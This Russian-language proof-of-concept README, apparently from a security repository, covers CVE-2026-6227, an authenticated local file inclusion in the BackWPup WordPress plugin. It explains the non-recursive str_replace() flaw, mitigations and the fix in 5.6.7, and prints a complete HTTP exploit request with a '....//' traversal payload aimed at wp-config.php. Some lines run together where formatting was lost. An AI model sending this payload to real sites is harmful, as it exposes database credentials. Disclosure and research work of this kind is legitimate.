
Учебный proof-of-concept для CVE-2026-6227 — аутентифицированное локальное включение файлов (Local File Inclusion) в плагине BackWPup для WordPress, включая анализ первопричины, эксплойт-запрос и рекомендации по смягчению последствий.
Версии BackWPup до 5.6.6 включительно подвержены аутентифицированной уязвимости локального включения файлов (LFI) через параметр block_name конечной точки REST /wp-json/backwpup/v1/getblock.
Причина ошибки — нерекурсивная санитизация последовательностей обхода каталога с помощью str_replace(). Уязвимость уже устранена в версии 5.6.7.
Данный репозиторий предназначен строго для образовательных целей и этических исследований в области безопасности. Приведённая здесь информация призвана помочь администраторам и командам безопасности проверить свои системы. Не используйте её против целей без явного письменного разрешения.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameУязвимый загрузчик компонентов применяет нерекурсивную санитизацию с помощью str_replace() перед вызовом include(). Её можно обойти с помощью специально сформированных шаблонов обхода, таких как ....// или ..././, что позволяет злоумышленнику управлять разрешением пути.
wp-config.php)По умолчанию для эксплуатации требуется доступ уровня администратора. Если права на резервное копирование делегированы, пользователи с более низкими привилегиями также могут получить возможность эксплуатировать эту уязвимость.
POST-запрос к /wp-json/backwpup/v1/getblock.block_name на полезную нагрузку с обходом каталога.Пример запроса:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup только доверенными ролями/wp-json/backwpup/v1/getblock